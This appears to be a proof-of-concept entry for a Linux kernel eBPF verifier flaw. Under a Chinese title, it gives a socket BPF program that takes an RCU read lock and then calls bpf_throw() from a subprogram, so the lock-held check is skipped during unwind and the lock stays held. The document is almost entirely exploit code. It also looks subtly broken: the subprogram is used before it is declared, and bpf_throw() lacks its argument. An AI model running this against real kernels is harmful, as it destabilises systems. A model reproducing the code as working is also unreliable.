Linux Kernel BPF子程序异常退出锁检查漏洞

// SPDX-License-Identifier: GPL-2.0 #include <linux/bpf.h> #include <bpf/bpf_helpers.h> // This PoC demonstrates a BPF program that triggers the vulnerability // by calling bpf_throw() from a subprog while holding an RCU lock. SEC("socket") int main_prog(struct __sk_buff *skb) { // Acquire RCU lock in the main frame bpf_rcu_read_lock(); // Call a static subprogram that will throw an exception // In the vulnerable version, the lock check is skipped during unwind vulnerable_subprog(); // This unlock is never reached due to the exception bpf_rcu_read_unlock(); return 0; } static __noinline int vulnerable_subprog(void) { // Trigger exception exit from subprog // This bypasses normal frame cleanup, leaving RCU lock active bpf_throw(); return 0; } char _license[] SEC("license") = "GPL";